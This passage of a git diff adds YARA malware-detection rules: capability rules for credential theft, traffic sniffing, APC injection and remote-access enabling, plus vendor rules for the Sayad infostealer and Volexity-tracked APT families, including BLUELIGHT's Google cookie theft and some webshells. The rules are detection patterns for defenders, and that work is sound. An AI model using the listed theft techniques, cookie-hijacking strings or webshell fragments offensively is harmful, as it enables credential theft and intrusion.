+        description = "Record Audio"
+        version = "0.1"
+    strings:
+        $f1 = "winmm.dll" nocase
+        $c1 = "waveInStart"
+        $c2 = "waveInReset"
+        $c3 = "waveInAddBuffer"
+        $c4 = "waveInOpen"
+        $c5 = "waveInClose"
+    condition:
+        $f1 and 2 of ($c*)
+}
+
+rule cred_ff {
+    meta:
+        author = "x0r"
+        description = "Steal Firefox credential"
+    version = "0.1"
+    strings:
+        $f1 = "signons.sqlite"
+        $f2 = "signons3.txt"
+        $f3 = "secmod.db"
+        $f4 = "cert8.db"
+        $f5 = "key3.db"
+    condition:
+        any of them
+}
+
+rule cred_vnc {
+    meta:
+        author = "x0r"
+        description = "Steal VNC credential"
+    version = "0.1"
+    strings:
+        $s1 = "VNCPassView"
+    condition:
+        all of them
+}
+
+rule cred_ie7 {
+    meta:
+        author = "x0r"
+        description = "Steal IE 7 credential"
+    version = "0.1"
+    strings:
+        $f1 = "Crypt32.dll" nocase
+        $c1 = "CryptUnprotectData" 
+        $s1 = "abe2869f-9b47-4cd9-a358-c22904dba7f7" nocase
+    condition:
+        all of them
+}
+
+rule sniff_lan {
+    meta:
+        author = "x0r"
+        description = "Sniff Lan network traffic"
+    version = "0.1"
+    strings:
+        $f1 = "packet.dll" nocase
+        $f2 = "npf.sys" nocase
+        $f3 = "wpcap.dll" nocase
+        $f4 = "winpcap.dll" nocase
+    condition:
+        any of them
+}
+
+rule migrate_apc {
+    meta:
+        author = "x0r"
+        description = "APC queue tasks migration"
+    version = "0.1"
+    strings:
+        $c1 = "OpenThread" 
+        $c2 = "QueueUserAPC" 
+    condition:
+        all of them
+}
+
+rule spreading_file {
+    meta:
+        author = "x0r"
+        description = "Malware can spread east-west file"
+    version = "0.1"
+    strings:
+        $f1 = "autorun.inf" nocase
+        $f2 = "desktop.ini" nocase
+        $f3 = "desktop.lnk" nocase
+    condition:
+        any of them
+}
+
+rule spreading_share {
+    meta:
+        author = "x0r"
+        description = "Malware can spread east-west using share drive"
+        version = "0.1"
+    strings:
+        $f1 = "netapi32.dll" nocase
+        $c1 = "NetShareGetInfo" 
+        $c2 = "NetShareEnum" 
+    condition:
+        $f1 and 1 of ($c*)
+}
+
+rule rat_vnc {
+    meta:
+        author = "x0r"
+        description = "Remote Administration toolkit VNC"
+    version = "0.1"
+    strings:
+        $f1 = "ultravnc.ini" nocase
+        $c2 = "StartVNC" 
+        $c3 = "StopVNC" 
+    condition:
+        any of them
+}
+
+rule rat_rdp {
+    meta:
+        author = "x0r"
+        description = "Remote Administration toolkit enable RDP"
+    version = "0.1"
+    strings:
+        $p1 = "SYSTEM\\CurrentControlSet\\Control\\Terminal Server" nocase
+        $p2 = "software\\microsoft\\windows nt\\currentversion\\terminal server" nocase
+        $p3 = "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp" nocase
+        $r1 = "EnableAdminTSRemote"
+        $c1 = "net start termservice"
+        $c2 = "sc config termservice start"
+    condition:
+        any of them
+}
+
+rule rat_telnet {
+    meta:
+        author = "x0r"
+        description = "Remote Administration toolkit enable Telnet"
+        version = "0.1"
+    strings:
+        $r1 = "software\\microsoft\\telnetserver" nocase
+    condition:
+        any of them
+}
+
+
+rule rat_webcam {
+    meta:
+        author = "x0r"
+        description = "Remote Administration toolkit using webcam"
+        version = "0.1"
+    strings:
+        $f1 = "avicap32.dll" nocase
+        $c1 = "capCreateCaptureWindow" nocase
+    condition:
+        all of them
+}
+
+rule check_patchlevel {
+    meta:
+        author = "x0r"
+        description = "Check if hotfix are applied"
+    version = "0.1"
+    strings:
+        $p1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Hotfix" nocase
+    condition:
+        any of them
+}
+
+rule win_mutex {
+    meta:
+        author = "x0r"
+        description = "Create or check mutex"
+    version = "0.1"
+    strings:
+        $c1 = "CreateMutex" 
+    condition:
+        1 of ($c*)
+}
+
+rule win_registry {
+    meta:
+        author = "x0r"
+        description = "Affect system registries"
+    version = "0.1"
+    strings:
+        $f1 = "advapi32.dll" nocase
+        $c1 = "RegQueryValueExA"
+        $c2 = "RegOpenKeyExA"
+        $c3 = "RegCloseKey"
+        $c4 = "RegSetValueExA"
+        $c5 = "RegCreateKeyA"
+        $c6 = "RegCloseKey"                  
+    condition:
+        $f1 and 1 of ($c*)
+}
+
+rule win_token {
+    meta:
+        author = "x0r"
+        description = "Affect system token"
+    version = "0.1"
+    strings:
+        $f1 = "advapi32.dll" nocase
+        $c1 = "DuplicateTokenEx"
+        $c2 = "AdjustTokenPrivileges"
+        $c3 = "OpenProcessToken"
+        $c4 = "LookupPrivilegeValueA"            
+    condition:
+        $f1 and 1 of ($c*)
+}
+
+rule win_private_profile {
+    meta:
+        author = "x0r"
+        description = "Affect private profile"
+    version = "0.1"
+    strings:
+        $f1 = "kernel32.dll" nocase
+        $c1 = "GetPrivateProfileIntA"
+        $c2 = "GetPrivateProfileStringA"
+        $c3 = "WritePrivateProfileStringA"         
+    condition:
+        $f1 and 1 of ($c*)
+}
+
+rule win_files_operation {
+    meta:
+        author = "x0r"
+        description = "Affect private profile"
+    version = "0.1"
+    strings:
+        $f1 = "kernel32.dll" nocase
+        $c1 = "WriteFile"
+        $c2 = "SetFilePointer"
+        $c3 = "WriteFile"
+        $c4 = "ReadFile"
+        $c5 = "DeleteFileA"
+        $c6 = "CreateFileA"
+        $c7 = "FindFirstFileA"
+        $c8 = "MoveFileExA"
+        $c9 = "FindClose"
+        $c10 = "SetFileAttributesA"
+        $c11 = "CopyFile"
+
+    condition:
+        $f1 and 3 of ($c*)
+}
+
+
+rule win_hook {
+    meta:
+        author = "x0r"
+        description = "Affect hook table"
+    version = "0.1"
+    strings:
+        $f1 = "user32.dll" nocase
+        $c1 = "UnhookWindowsHookEx"
+        $c2 = "SetWindowsHookExA"
+        $c3 = "CallNextHookEx"         
+    condition:
+        $f1 and 1 of ($c*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Vinsula/Vinsula_Sayad_Binder_infostealer.yar b/yara-mikesxrs/Vinsula/Vinsula_Sayad_Binder_infostealer.yar
new file mode 100644
index 0000000..2eee698
--- /dev/null
+++ b/yara-mikesxrs/Vinsula/Vinsula_Sayad_Binder_infostealer.yar
@@ -0,0 +1,20 @@
+rule Vinsula_Sayad_Binder : infostealer
+{
+	meta: 
+		copyright = "Vinsula, Inc" 
+		description = "Sayad Infostealer Binder" 
+		version = "1.0" 
+		actor = "Sayad Binder" 
+		in_the_wild = true 
+		reference = "http://vinsula.com/2014/07/20/sayad-flying-kitten-infostealer-malware/"
+
+    strings: 
+		$pdbstr = "\\Projects\\C#\\Sayad\\Source\\Binder\\obj\\Debug\\Binder.pdb" 
+		$delphinativestr = "DelphiNative.dll" nocase
+		$sqlite3str = "sqlite3.dll" nocase
+		$winexecstr = "WinExec" 
+		$sayadconfig = "base.dll" wide
+
+     condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Vinsula/Vinsula_Sayad_Client_infostealer.yar b/yara-mikesxrs/Vinsula/Vinsula_Sayad_Client_infostealer.yar
new file mode 100644
index 0000000..0cfbc14
--- /dev/null
+++ b/yara-mikesxrs/Vinsula/Vinsula_Sayad_Client_infostealer.yar
@@ -0,0 +1,36 @@
+rule Vinsula_Sayad_Client : infostealer
+{
+	meta: 
+		copyright = "Vinsula, Inc" 
+		description = "Sayad Infostealer Client" 
+		version = "1.0" 
+		actor = "Sayad Client" 
+		in_the_wild = true 
+		reference = "http://vinsula.com/2014/07/20/sayad-flying-kitten-infostealer-malware/"
+
+    strings: 
+		$pdbstr = "\\Projects\\C#\\Sayad\\Source\\Client\\bin\\x86\\Debug\\Client.pdb" 
+		$sayadconfig = "base.dll" wide
+		$sqlite3str = "sqlite3.dll" nocase
+		$debugstr01 = "Config loaded" wide
+		$debugstr02 = "Config parsed" wide
+		$debugstr03 = "storage uploader" wide
+		$debugstr04 = "updater" wide
+		$debugstr05 = "keylogger" wide
+		$debugstr06 = "Screenshot" wide
+		$debugstr07 = "sqlite found & start collectiong data" wide
+		$debugstr08 = "Machine info collected" wide
+		$debugstr09 = "browser ok" wide
+		$debugstr10 = "messenger ok" wide
+		$debugstr11 = "vpn ok" wide
+		$debugstr12 = "ftp client ok" wide
+		$debugstr13 = "ftp server ok" wide
+		$debugstr14 = "rdp ok" wide
+		$debugstr15 = "kerio ok" wide
+		$debugstr16 = "skype ok" wide
+		$debugstr17 = "serialize data ok" wide
+		$debugstr18 = "Keylogged" wide
+
+     condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Vinsula/Vinsula_index.yara b/yara-mikesxrs/Vinsula/Vinsula_index.yara
new file mode 100644
index 0000000..bbb3572
--- /dev/null
+++ b/yara-mikesxrs/Vinsula/Vinsula_index.yara
@@ -0,0 +1,57 @@
+rule Vinsula_Sayad_Binder : infostealer
+{
+	meta: 
+		copyright = "Vinsula, Inc" 
+		description = "Sayad Infostealer Binder" 
+		version = "1.0" 
+		actor = "Sayad Binder" 
+		in_the_wild = true 
+		reference = "http://vinsula.com/2014/07/20/sayad-flying-kitten-infostealer-malware/"
+
+    strings: 
+		$pdbstr = "\\Projects\\C#\\Sayad\\Source\\Binder\\obj\\Debug\\Binder.pdb" 
+		$delphinativestr = "DelphiNative.dll" nocase
+		$sqlite3str = "sqlite3.dll" nocase
+		$winexecstr = "WinExec" 
+		$sayadconfig = "base.dll" wide
+
+     condition:
+        all of them
+}
+
+rule Vinsula_Sayad_Client : infostealer
+{
+	meta: 
+		copyright = "Vinsula, Inc" 
+		description = "Sayad Infostealer Client" 
+		version = "1.0" 
+		actor = "Sayad Client" 
+		in_the_wild = true 
+		reference = "http://vinsula.com/2014/07/20/sayad-flying-kitten-infostealer-malware/"
+
+    strings: 
+		$pdbstr = "\\Projects\\C#\\Sayad\\Source\\Client\\bin\\x86\\Debug\\Client.pdb" 
+		$sayadconfig = "base.dll" wide
+		$sqlite3str = "sqlite3.dll" nocase
+		$debugstr01 = "Config loaded" wide
+		$debugstr02 = "Config parsed" wide
+		$debugstr03 = "storage uploader" wide
+		$debugstr04 = "updater" wide
+		$debugstr05 = "keylogger" wide
+		$debugstr06 = "Screenshot" wide
+		$debugstr07 = "sqlite found & start collectiong data" wide
+		$debugstr08 = "Machine info collected" wide
+		$debugstr09 = "browser ok" wide
+		$debugstr10 = "messenger ok" wide
+		$debugstr11 = "vpn ok" wide
+		$debugstr12 = "ftp client ok" wide
+		$debugstr13 = "ftp server ok" wide
+		$debugstr14 = "rdp ok" wide
+		$debugstr15 = "kerio ok" wide
+		$debugstr16 = "skype ok" wide
+		$debugstr17 = "serialize data ok" wide
+		$debugstr18 = "Keylogged" wide
+
+     condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Volexity/apt_macOS_gimmick.yar b/yara-mikesxrs/Volexity/apt_macOS_gimmick.yar
new file mode 100644
index 0000000..a26196f
--- /dev/null
+++ b/yara-mikesxrs/Volexity/apt_macOS_gimmick.yar
@@ -0,0 +1,53 @@
+rule apt_macOS_gimmick : StormCloud
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Detects the macOS port of the GIMMICK malware."
+        reference = "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/"
+        date = "2021-10-18"
+        hash1 = "2a9296ac999e78f6c0bee8aca8bfa4d4638aa30d9c8ccc65124b1cbfc9caab5f"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        memory_suitable = 1
+
+    strings:
+        // Also seen in DAZZLESPY
+        $s1 = "http://cgi1.apnic.net/cgi-bin/my-ip.php --connect-timeout 10 -m 20" wide ascii
+        
+        $json1 = "base_json" ascii wide
+        $json2 = "down_json" ascii wide
+        $json3 = "upload_json" ascii wide
+        $json4 = "termin_json" ascii wide
+        $json5 = "request_json" ascii wide
+        $json6 = "online_json" ascii wide
+        $json7 = "work_json" ascii wide
+
+        $msg1 = "bash_pid: %d, FDS_CHILD: %d, FDS_PARENT: %d" ascii wide
+        $msg2 = "pid %d is dead" ascii wide
+        $msg3 = "exit with code %d" ascii wide
+        $msg4 = "recv signal %d" ascii wide
+
+        $cmd1 = "ReadCmdQueue" ascii wide
+        $cmd2 = "read_cmd_server_timer" ascii wide
+        $cmd3 = "enableProxys" ascii wide
+        $cmd4 = "result_block" ascii wide
+        $cmd5 = "createDirLock" ascii wide
+        $cmd6 = "proxyLock" ascii wide
+        $cmd7 = "createDirTmpItem" ascii wide
+        $cmd8 = "dowfileLock" ascii wide
+        $cmd9 = "downFileTmpItem" ascii wide
+        $cmd10 = "filePathTmpItem" ascii wide
+        $cmd11 = "uploadItems" ascii wide
+        $cmd12 = "downItems" ascii wide
+        $cmd13 = "failUploadItems" ascii wide
+        $cmd14 = "failDownItems" ascii wide
+        $cmd15 = "downloadCmds" ascii wide
+        $cmd16 = "uploadFiles" ascii wide
+
+    condition:
+        $s1 or 
+        5 of ($json*) or 
+        3 of ($msg*) or 
+        9 of ($cmd*)
+}
+
+
diff --git a/yara-mikesxrs/Volexity/apt_py_bluelight_ldr.yar b/yara-mikesxrs/Volexity/apt_py_bluelight_ldr.yar
new file mode 100644
index 0000000..3f8fe8e
--- /dev/null
+++ b/yara-mikesxrs/Volexity/apt_py_bluelight_ldr.yar
@@ -0,0 +1,20 @@
+rule apt_py_bluelight_ldr : InkySquid
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Python Loader used to execute the BLUELIGHT malware family."
+        reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
+        date = "2021-06-22"
+        hash1 = "80269413be6ad51b8b19631b2f5559c9572842e789bbce031babe6e879d2e120"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $s1 = "\"\".join(chr(ord(" ascii
+        $s2 = "import ctypes " ascii
+        $s3 = "ctypes.CFUNCTYPE(ctypes.c_int)" ascii
+        $s4 = "ctypes.memmove" ascii
+        $s5 = "python ended" ascii
+
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Volexity/apt_rb_rokrat_loader.yar b/yara-mikesxrs/Volexity/apt_rb_rokrat_loader.yar
new file mode 100644
index 0000000..e51d392
--- /dev/null
+++ b/yara-mikesxrs/Volexity/apt_rb_rokrat_loader.yar
@@ -0,0 +1,26 @@
+rule apt_rb_rokrat_loader : InkySquid
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Ruby loader seen loading the ROKRAT malware family."
+        reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
+        date = "2021-06-22"
+        hash1 = "5bc52f6c1c0d0131cee30b4f192ce738ad70bcb56e84180f464a5125d1a784b2"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $magic1 = "'https://update.microsoft.com/driverupdate?id=" ascii wide
+        $magic2 = "sVHZv1mCNYDO0AzI';" ascii wide
+        $magic3 = "firoffset..scupd.size" ascii wide
+        $magic4 = /alias UrlFilter[0-9]{2,5} eval;"/
+        
+        // Original: 'Fiddle::Pointer' (Reversed)
+        $s1 = "clRnbp9GU6oTZsRGZpZ"
+        $s2 = "RmlkZGxlOjpQb2ludGVy"
+        $s3 = "yVGdul2bQpjOlxGZklmR"
+        $s4 = "XZ05WavBlO6UGbkRWaG"
+
+    condition:
+        any of ($magic*) or
+        any of ($s*)
+}
diff --git a/yara-mikesxrs/Volexity/apt_win_bluelight.yar b/yara-mikesxrs/Volexity/apt_win_bluelight.yar
new file mode 100644
index 0000000..5c4edee
--- /dev/null
+++ b/yara-mikesxrs/Volexity/apt_win_bluelight.yar
@@ -0,0 +1,32 @@
+rule apt_win_bluelight : InkySquid
+{
+	meta:
+		author = "threatintel@volexity.com"
+		date = "2021-04-23"
+		description = "The BLUELIGHT malware family. Leverages Microsoft OneDrive for network communications."
+    reference = "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/"
+		hash1 = "7c40019c1d4cef2ffdd1dd8f388aaba537440b1bffee41789c900122d075a86d"
+		hash2 = "94b71ee0861cc7cfbbae53ad2e411a76f296fd5684edf6b25ebe79bf6a2a600a"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		
+	strings:
+		$pdb1 = "\\Development\\BACKDOOR\\ncov\\"
+		$pdb2 = "Release\\bluelight.pdb"
+
+		$msg0 = "https://ipinfo.io" fullword
+		$msg1 = "country" fullword
+		$msg5 = "\"UserName\":\"" fullword
+		$msg7 = "\"ComName\":\"" fullword
+		$msg8 = "\"OS\":\"" fullword
+		$msg9 = "\"OnlineIP\":\"" fullword
+		$msg10 = "\"LocalIP\":\"" fullword
+		$msg11 = "\"Time\":\"" fullword
+		$msg12 = "\"Compiled\":\"" fullword
+		$msg13 = "\"Process Level\":\"" fullword
+		$msg14 = "\"AntiVirus\":\"" fullword
+		$msg15 = "\"VM\":\"" fullword
+
+	condition:
+		any of ($pdb*) or 
+		all of ($msg*) 
+}
diff --git a/yara-mikesxrs/Volexity/apt_win_bluelight_b.yar b/yara-mikesxrs/Volexity/apt_win_bluelight_b.yar
new file mode 100644
index 0000000..2b8e92d
--- /dev/null
+++ b/yara-mikesxrs/Volexity/apt_win_bluelight_b.yar
@@ -0,0 +1,101 @@
+rule apt_win_bluelight_b : InkySquid
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "North Korean origin malware which uses a custom Google App for c2 communications."
+        reference = "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/"
+        date = "2021-06-21"
+        hash1 = "837eaf7b736583497afb8bbdb527f70577901eff04cc69d807983b233524bfed"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $magic = "host_name: %ls, cookie_name: %s, cookie: %s, CT: %llu, ET: %llu, value: %s, path: %ls, secu: %d, http: %d, last: %llu, has: %d"
+        
+        $f1 = "%ls.INTEG.RAW" wide
+        $f2 = "edb.chk" ascii
+        $f3 = "edb.log" ascii
+        $f4 = "edbres00001.jrs" ascii
+        $f5 = "edbres00002.jrs" ascii
+        $f6 = "edbtmp.log" ascii
+        $f7 = "cheV01.dat" ascii
+        
+        $chrome1 = "Failed to get chrome cookie"
+        $chrome2 = "mail.google.com, cookie_name: OSID"
+        $chrome3 = ".google.com, cookie_name: SID,"
+        $chrome4 = ".google.com, cookie_name: __Secure-3PSID,"
+        $chrome5 = "Failed to get Edge cookie"
+        $chrome6 = "google.com, cookie_name: SID,"
+        $chrome7 = "google.com, cookie_name: __Secure-3PSID,"
+        $chrome8 = "Failed to get New Edge cookie"
+        $chrome9 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0"
+        $chrome10 = "Content-Type: application/x-www-form-urlencoded;charset=utf-8"
+        $chrome11 = "Cookie: SID=%s; OSID=%s; __Secure-3PSID=%s"
+        $chrome12 = "https://mail.google.com"
+        $chrome13 = "result.html"
+        $chrome14 = "GM_ACTION_TOKEN"
+        $chrome15 = "GM_ID_KEY="
+        $chrome16 = "/mail/u/0/?ik=%s&at=%s&view=up&act=prefs"
+        $chrome17 = "p_bx_ie=1"
+        $chrome18 = "myaccount.google.com, cookie_name: OSID"
+        $chrome19 = "Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3"
+        $chrome20 = "Content-Type: application/x-www-form-urlencoded;charset=utf-8"
+        $chrome21 = "Cookie: SID=%s; OSID=%s; __Secure-3PSID=%s"
+        $chrome22 = "https://myaccount.google.com"
+        $chrome23 = "result.html"
+        $chrome24 = "myaccount.google.com"
+        $chrome25 = "/_/AccountSettingsUi/data/batchexecute"
+        $chrome26 = "f.req=%5B%5B%5B%22BqLdsd%22%2C%22%5Btrue%5D%22%2Cnull%2C%22generic%22%5D%5D%5D&at="
+        $chrome27 = "response.html"
+        
+        $msg1 = "https_status is %s"
+        $msg2 = "Success to find GM_ACTION_TOKEN and GM_ID_KEY"
+        $msg3 = "Failed to find GM_ACTION_TOKEN and GM_ID_KEY"
+        $msg4 = "Failed HttpSendRequest to mail.google.com"
+        $msg5 = "Success to enable imap"
+        $msg6 = "Failed to enable imap"
+        $msg7 = "Success to find SNlM0e"
+        $msg8 = "Failed to find SNlM0e"
+        $msg9 = "Failed HttpSendRequest to myaccount.google.com"
+        $msg10 = "Success to enable thunder access"
+        $msg11 = "Failed to enable thunder access"
+
+        $keylogger_component1 = "[TAB]"
+        $keylogger_component2 = "[RETURN]"
+        $keylogger_component3 = "PAUSE"
+        $keylogger_component4 = "[ESC]"
+        $keylogger_component5 = "[PAGE UP]"
+        $keylogger_component6 = "[PAGE DOWN]"
+        $keylogger_component7 = "[END]"
+        $keylogger_component8 = "[HOME]"
+        $keylogger_component9 = "[ARROW LEFT]"
+        $keylogger_component10 = "[ARROW UP]"
+        $keylogger_component11 = "[ARROW RIGHT]"
+        $keylogger_component12 = "[ARROW DOWN]"
+        $keylogger_component13 = "[INS]"
+        $keylogger_component14 = "[DEL]"
+        $keylogger_component15 = "[WIN]"
+        $keylogger_component16 = "[NUM *]"
+        $keylogger_component17 = "[NUM +]"
+        $keylogger_component18 = "[NUM ,]"
+        $keylogger_component19 = "[NUM -]"
+        $keylogger_component20 = "[NUM .]"
+        $keylogger_component21 = "NUM /]"
+        $keylogger_component22 = "[NUMLOCK]"
+        $keylogger_component23 = "[SCROLLLOCK]"
+        $keylogger_component24 = "Time: "
+        $keylogger_component25 = "Window: "
+        $keylogger_component26 = "CAPSLOCK+"
+        $keylogger_component27 = "SHIFT+"
+        $keylogger_component28 = "CTRL+"
+        $keylogger_component29 = "ALT+"
+
+    condition:
+        $magic or 
+        (
+            all of ($f*) and 
+            5 of ($keylogger_component*)
+        ) or 
+        24 of ($chrome*) or 
+        4 of ($msg*) or 
+        27 of ($keylogger_component*)
+}
diff --git a/yara-mikesxrs/Volexity/apt_win_decrok.yar b/yara-mikesxrs/Volexity/apt_win_decrok.yar
new file mode 100644
index 0000000..6e81c4d
--- /dev/null
+++ b/yara-mikesxrs/Volexity/apt_win_decrok.yar
@@ -0,0 +1,24 @@
+rule apt_win_decrok : InkySquid
+{
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2021-06-23"
+        description = "The DECROK malware family, which uses the victim's hostname to decrypt and execute an embedded payload."
+        reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
+        hash = "6a452d088d60113f623b852f33f8f9acf0d4197af29781f889613fed38f57855"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        
+    strings:
+        $v1 = {C7 ?? ?? ?? 01 23 45 67 [2-20] C7 ?? ?? ?? 89 AB CD EF C7 ?? ?? ?? FE DC BA 98}
+
+        $av1 = "Select * From AntiVirusProduct" wide
+        $av2 = "root\\SecurityCenter2" wide
+
+        /* CreateThread..%02x */
+        $funcformat = { 25 30 32 78 [0-10] 43 72 65 61 74 65 54 68 72 65 61 64 }
+
+    condition:
+        all of them
+}
+
+
diff --git a/yara-mikesxrs/Volexity/apt_win_flipflop_ldr.yar b/yara-mikesxrs/Volexity/apt_win_flipflop_ldr.yar
new file mode 100644
index 0000000..1105b2c
--- /dev/null
+++ b/yara-mikesxrs/Volexity/apt_win_flipflop_ldr.yar
@@ -0,0 +1,19 @@
+
+rule apt_win_flipflop_ldr : APT29
+{
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2021-05-25"
+        description = "A loader for the CobaltStrike malware family, which ultimately takes the first and second bytes of an embedded file, and flips them prior to executing the resulting payload."
+        reference = "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/"
+        hash = "ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330" 
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $s1 = "irnjadle"
+        $s2 = "BADCFEHGJILKNMPORQTSVUXWZY"
+        $s3 = "iMrcsofo taBesC yrtpgoarhpciP orived r1v0."
+
+    condition:
+        all of ($s*)
+}
diff --git a/yara-mikesxrs/Volexity/apt_win_freshfire.yar b/yara-mikesxrs/Volexity/apt_win_freshfire.yar
new file mode 100644
index 0000000..7192d74
--- /dev/null
+++ b/yara-mikesxrs/Volexity/apt_win_freshfire.yar
@@ -0,0 +1,28 @@
+import "pe"
+
+rule apt_win_freshfire : APT29
+{
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2021-05-27"
+        description = "The FRESHFIRE malware family. The malware acts as a downloader, pulling down an encrypted snippet of code from a remote source, executing it, and deleting it from the remote server."
+        reference = "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/"
+        hash = "ad67aaa50fd60d02f1378b4155f69cffa9591eaeb80523489a2355512cc30e8c"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+
+    strings:
+        $uniq1 = "UlswcXJJWhtHIHrVqWJJ"
+        $uniq2 = "gyibvmt\x00"
+
+        $path1 = "root/time/%d/%s.json"
+        $path2 = "C:\\dell.sdr"
+        $path3 = "root/data/%d/%s.json" 
+
+    condition:
+        (
+            pe.number_of_exports == 1 and
+            pe.exports("WaitPrompt")
+        ) or
+        any of ($uniq*) or
+        2 of ($path*)
+}
diff --git a/yara-mikesxrs/Volexity/apt_win_gimmick_dotnet_base.yar b/yara-mikesxrs/Volexity/apt_win_gimmick_dotnet_base.yar
new file mode 100644
index 0000000..01102a7
--- /dev/null
+++ b/yara-mikesxrs/Volexity/apt_win_gimmick_dotnet_base.yar
@@ -0,0 +1,26 @@
+rule apt_win_gimmick_dotnet_base : StormCloud
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Detects the base version of GIMMICK in .NET."
+        reference = "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/"
+        date = "2020-03-16"
+        hash1 = "b554bfe4c2da7d0ac42d1b4f28f4aae854331fd6d2b3af22af961f6919740234"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        memory_suitable = 1
+
+    strings:
+        $other1 = "srcStr is null" wide 
+        $other2 = "srcBs is null " wide 
+        $other3 = "Key cannot be null" wide 
+        $other4 = "Faild to get target constructor, targetType=" wide 
+        $other5 = "hexMoudule(public key) cannot be null or empty." wide 
+        $other6 = "https://oauth2.googleapis.com/token" wide 
+
+        $magic1 = "TWljcm9zb2Z0IUAjJCVeJiooKQ==" ascii wide
+        $magic2 = "DAE47700E8CF3DAB0@" ascii wide 
+
+    condition:
+        5 of ($other*) or 
+        any of ($magic*)
+}
diff --git a/yara-mikesxrs/Volexity/apt_win_rokload.yar b/yara-mikesxrs/Volexity/apt_win_rokload.yar
new file mode 100644
index 0000000..66e6ad1
--- /dev/null
+++ b/yara-mikesxrs/Volexity/apt_win_rokload.yar
@@ -0,0 +1,16 @@
+rule apt_win_rokload : InkySquid
+{
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2021-06-23"
+        description = "A shellcode loader used to decrypt and run an embedded executable."
+        reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
+        hash = "85cd5c3bb028fe6931130ccd5d0b0c535c01ce2bcda660a3b72581a1a5382904"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        
+    strings:
+        $bytes00 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 57 41 54 41 55 41 56 41 57 48 ?? ?? ?? b9 ?? ?? ?? ?? 33 ff e8 ?? ?? ?? ?? b9 ?? ?? ?? ?? 4c 8b e8 e8 ?? ?? ?? ?? 4c 8b f0 41 ff d6 b9 ?? ?? ?? ?? 44 8b f8 e8 ?? ?? ?? ?? 4c 8b e0 e8 ?? ?? ?? ?? 48 }
+    
+    condition:
+        $bytes00 at 0
+}
diff --git a/yara-mikesxrs/Volexity/ebshell_jsp_converge.yar b/yara-mikesxrs/Volexity/ebshell_jsp_converge.yar
new file mode 100644
index 0000000..614b4c2
--- /dev/null
+++ b/yara-mikesxrs/Volexity/ebshell_jsp_converge.yar
@@ -0,0 +1,16 @@
+rule webshell_jsp_converge : Webshell
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "File upload webshell observed in incident involving compromise of Confluence server."
+        reference = "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/"
+        date = "2022-06-01"
+        memory_suitable = 1
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        
+    strings:
+        $s1 = "if (request.getParameter(\"name\")!=null && request.getParameter(\"name\").length()!=0){" ascii
+
+    condition:
+        $s1
+}
diff --git a/yara-mikesxrs/Volexity/general_java_encoding_and_classloader.yar b/yara-mikesxrs/Volexity/general_java_encoding_and_classloader.yar
new file mode 100644
index 0000000..f148edf
--- /dev/null
+++ b/yara-mikesxrs/Volexity/general_java_encoding_and_classloader.yar
@@ -0,0 +1,20 @@
+rule general_java_encoding_and_classloader : Webshells General
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "Identifies suspicious java-based files which have all the ingredients required for a webshell."
+        reference = "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
+        date = "2022-04-07"
+        hash1 = "0d5dc54ef77bc18c4c5582dca4619905605668cffcccc3829e43c6d3e14ef216"
+        license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+        memory_suitable = 0
